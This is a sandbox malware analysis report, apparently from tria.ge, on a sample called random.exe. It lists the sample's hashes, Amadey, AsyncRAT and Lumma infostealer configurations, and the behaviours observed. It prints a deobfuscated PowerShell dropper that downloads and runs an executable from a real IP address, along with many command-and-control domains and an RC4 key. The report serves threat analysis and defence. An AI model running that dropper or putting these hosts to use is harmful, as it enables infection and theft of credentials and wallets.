Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    random.exe

  • Size

    2.0MB

  • Sample

    250314-1wqghazwet

  • MD5

    321b34c0dae5853fda55f5a40b9892a4

  • SHA1

    b707aa6d2b554ac97904252f1264b1ace9655938

  • SHA256

    d682c945603bd8e08ca2016cc7482b118d6573253989738c34c837836c359175

  • SHA512

    2950c8989ab5d3ea5bce42c72c5c12ef9ab142192674d8dc7fe5225a971626bdfcb09aa82f27cd4a68c2ba17069ae9ae09aeb3539dea98a892c5f080dc56e16d

  • SSDEEP

    49152:JCKMe1ymi2WNftQe0/6Stxyva9MW7dUyvj8RqPhmWP:cKLlA30/iva9MgdwaV

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "WEUWMFI6XQEWYKEJ8PSBW9FC3LCKL9KI.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "\\483d2fa8a0d53818306efeb32d3.exe"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Extracted

Family

lumma

C2

https://zfurrycomp.top/api

https://crosshairc.life/api

https://mrodularmall.top/api

https://jowinjoinery.icu/api

https://legenassedk.top/api

https://htardwarehu.icu/api

https://8cjlaspcorne.icu/api

https://bugildbett.top/api

https://adweaponrywo.digital/api

https://begindecafer.world/api

https://9garagedrootz.top/api

https://modelshiverd.icu/api

https://arisechairedd.shop/api

https://catterjur.run/api

https://orangemyther.live/api

https://fostinjec.today/api

https://ksterpickced.digital/api

https://biochextryhub.bet/api

https://q8explorebieology.run/api

https://gadgethgfub.icu/api

Extracted

Family

lumma

C2

https://moderzysics.top/api

https://codxefusion.top/api

Targets

    • Target

      random.exe

    • Size

      2.0MB

    • MD5

      321b34c0dae5853fda55f5a40b9892a4

    • SHA1

      b707aa6d2b554ac97904252f1264b1ace9655938

    • SHA256

      d682c945603bd8e08ca2016cc7482b118d6573253989738c34c837836c359175

    • SHA512

      2950c8989ab5d3ea5bce42c72c5c12ef9ab142192674d8dc7fe5225a971626bdfcb09aa82f27cd4a68c2ba17069ae9ae09aeb3539dea98a892c5f080dc56e16d

    • SSDEEP

      49152:JCKMe1ymi2WNftQe0/6Stxyva9MW7dUyvj8RqPhmWP:cKLlA30/iva9MgdwaV

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Amadey family

    • AsyncRat

      AsyncRAT is designed to remotely monitor and control other computers written in C#.

    • Asyncrat family

    • Lumma Stealer, LummaC

      Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    • Lumma family

    • Suspicious use of NtCreateUserProcessOtherParentProcess

    • Async RAT payload

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • Blocklisted process makes network request

    • Boot or Logon Autostart Execution: Active Setup

      Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    • Command and Scripting Interpreter: PowerShell

      Using powershell.exe command.

    • Creates new service(s)

    • Downloads MZ/PE file

    • Stops running service(s)

    • Uses browser remote debugging

      Can be used control the browser and steal sensitive information such as credentials and session cookies.

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Drops startup file

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Loads dropped DLL

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Registers new Windows logon scripts automatically executed at logon.

    • Accesses cryptocurrency files/wallets, possible credential harvesting

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • Checks whether UAC is enabled

    • Enumerates connected drives

      Attempts to read the root path of hard drives other than the default C: drive.

    • Legitimate hosting services abused for malware hosting/C2

    • Looks up external IP address via web service

      Uses a legitimate IP lookup service to find the infected system's external IP.

    • Power Settings

      powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    • AutoIT Executable

      AutoIT scripts compiled to PE executables.

    • Enumerates processes with tasklist

    • Suspicious use of NtCreateThreadExHideFromDebugger

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

    • UPX packed file

      Detects executables packed with UPX/modified UPX open source packer.

MITRE ATT&CK Enterprise v15

Tasks

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.